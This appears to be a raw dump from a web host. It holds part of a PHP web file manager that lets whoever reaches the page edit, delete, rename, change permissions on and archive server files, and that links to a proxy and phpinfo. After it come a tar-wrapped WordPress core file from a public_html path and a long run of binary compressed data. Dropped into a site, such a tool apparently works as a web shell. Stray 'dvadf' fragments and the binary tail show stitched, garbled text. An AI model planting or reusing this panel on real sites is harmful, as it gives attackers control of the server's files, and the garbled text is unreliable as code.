			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�Wy%class-wp-html-attribute-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[�����UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�PKgN\�ȩd�dindex.php.php.tar.gznu�[�����i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
n��M��?���NSp��i��!���7�#Jd�ϛT�4�ង�Rp��_S�4�=F�Edg��Q�s�_[�"z�)��d�����c��.���h�k�ߚV���/�eYgVàl�Ƭ�����-�b<�@��g �++=��
+�"�ɬpB�_��i:�6;�m�Džп�i��w����-	~�����1�y�
�eh�� H7�5P
@[�:��!`����LXt�E�F�n��}�H6���!SP��C�Yo���7����PQe�G|PԉvD�9�u[�Aq����^�j"�Ѝ�=�QnS�|K��<A<��o>3�f�A���`�D2�}�oL�wL��Ȩ�$��2���i��I5Ŧ�	�����
��J�U0P].m�������7t'��cR��`¿�2�T�Ʃ�w`X�b����<s��J1���e\H�>݁g\�[��s9��gUz������R�+�`}`u��Ґ�!]q��ڼ��)*����-FD�w�iB�\~7D��D���s��#8�uJ��0�[��s��Ĥ&[����
z;�:J��OH��ӯ�z� ��:B{
(�%��ԩĦ.�«^RB�������\�(���ݮ
��PH"Ɲ�d����~X���T��G?t^u{.)X҅�o��y��U��X�R{`:� 9yq"��~�速��Y�U��`AΈ/���v��U�[kE�_�?�������E��v���w�2ËxK�,�-\�,��6[�$a���F��?b��ޢ��.ǥ�r�ٍ=d�T�\��dY�� ����2`���@bꐆ��	O�\܃�z�Č��T8i
aQ�WL�[����1���Rmě�����5��}��ʥ;�L��o�4��+��p[vT��G^��R�=�»����>ʞ�o;���i�o��"Ht_����O��S������Hű����d�2A]ߑg�s2���¬�̫Is�;Ĕ�Q���q¥-�Px��p<�J�����&YRV���3�όY#¶�t;R���`
�J�N��1�g�����)N�p����S�� ��Me�ڰ��2e*T��y�r�l��EH�1'�����TݭM���}�h^@��1�TF��=2D�j(�֤᛻����g�4�\�/Tt�N
4AA  �k�D��Є�M�����D'�b9��'Z\�RD
��$��^(*�s���Ӻ)-������;��\H�Rɷ]慜S3�On��C��
ĺ)ж�?ٖ�a@�'��8&�7��y
�41J]�K�=>]k#��5���z���v��B�^��:��a���Xp�\0��l��)�ȵ�
�N�T��O�v�M�'n�>�J2Kې#��*�ʧ;yR�N����}�,͒�d�����
�a�+����߷��	�׫ي^�Gt9`0�Tk�[�T��-|�z�J7�v�4��T�$e��J�r�/�`�����V}�0&_5C�̼ҽ��w��>�b�8В�ߍ�.P�'I@)vQ�� �@]�n�O&��BnS���v�>#ç#z�z�p�S��F�L��ߤ���s�:S5_��`?z�ox�; �|&��N��ɯ�.��l�7�Ґ9g�`�տ^\���5�N\>�@���X.�g���\[/�F���&P>3a�}'a���ǺK�?��.��Dʃ�pp��Ҏ��@_�jn�Xu��:X���+�L���֔�&[FT��q!AFe���H>�@[�K"�P'?\��>���|)�,3}�<C�'��]�Ȑ�4D ����.�n
D%�I,Z��ⱽ�U96��G}���ܣ0�r�R\-�e", �����)��u��GfN�`st����U}��'F�0�
7��g�N@C�_	�^j�9;�K�{�kh$��}�a<�ߜ-��[
/�n���G��!K#NQ,�R�=Y`(�.�`Hc�N/�{��P��2M�q'�:�Ļ��vrZĀ���r��Ĺ.r|��Y��kh��d���j�5g/��z�K9ۀ0\��������6�.�{&�7�O�Os�;8���6<�� {���O�Vl�(P&�2
�>��A�/&φ��}E��
C��s�T�??bށ|�v2�SI�
X)��m)pB\�U��@	��`�k�kxxETo��r��%9`2Z�GD�#��$H�
5���m�w�*�T�'����������
��#���k�G;�9�`U���v�P���m-�B�
9�
��+ �M8d�����XB��89���"F9gK�N����ċx�F���6<���p7�Zܗ`�dn�z)Nnq��^����ʼn�?�vw��N�S����t��*�d>d�l��ͧ�e�T�>�cM�q�jv
